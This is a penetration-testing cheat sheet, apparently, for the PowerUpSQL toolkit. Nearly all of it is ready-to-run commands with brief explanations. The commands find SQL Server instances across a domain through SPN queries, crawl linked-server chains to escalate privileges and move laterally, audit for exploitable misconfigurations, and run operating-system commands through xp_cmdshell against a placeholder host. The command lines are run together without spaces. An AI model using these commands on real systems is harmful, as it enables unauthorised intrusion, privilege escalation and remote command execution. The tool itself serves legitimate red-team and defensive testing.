Get-SQLServerLinkCrawl recursively follows linked-server definitions from a starting instance, executing a query at every hop via OPENQUERY chains. Because linked servers frequently run under a higher-privileged (often sysadmin) mapped login on the remote side, crawling the graph commonly yields privilege escalation or lateral movement to instances the operator could not reach directly. Supply -Query to fingerprint each node, or drive command execution through xp_cmdshell across the chain.
Command Reference:
Target instance: 10.10.10.1
Import-Module.\PowerUpSQL.ps1# Crawl all linked servers from the starting instanceGet-SQLServerLinkCrawl-Verbose-Instance10.10.10.1-Query"SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')"# Run an OS command on any node that allows itGet-SQLServerLinkCrawl-Verbose-Instance10.10.10.1-Query"exec master..xp_cmdshell 'whoami'"
Get-SQLInstanceDomain queries the domain via LDAP for Service Principal Names beginning with MSSQL*, revealing every registered SQL Server instance and the account it runs as without touching a single database. It is the standard domain-wide MSSQL discovery step and runs under the current user's context from a domain-joined foothold. Pipe the results into Get-SQLConnectionTestThreaded to find which instances your account can actually log into.
Command Reference:
Domain: test.local
Import-Module.\PowerUpSQL.ps1# Discover SQL Server instances from SPNs in the domainGet-SQLInstanceDomain# Then test which ones accept the current userGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-Verbose
Invoke-SQLAudit runs PowerUpSQL's battery of privilege-escalation checks against an instance and reports exploitable misconfigurations (impersonation, trustworthy databases, agent jobs, etc.). Where the login already has the rights, Invoke-SQLOSCmd executes an operating-system command through the instance (using xp_cmdshell), returning output. Both take -Instance in HOST\INSTANCE or HOST,PORT form and use integrated auth by default.
Command Reference:
Target instance: 10.10.10.1
Import-Module.\PowerUpSQL.ps1# Audit an instance for privesc issuesInvoke-SQLAudit-Verbose-Instance10.10.10.1# Execute an OS command through the instanceInvoke-SQLOSCmd-Verbose-Instance10.10.10.1-Command"whoami"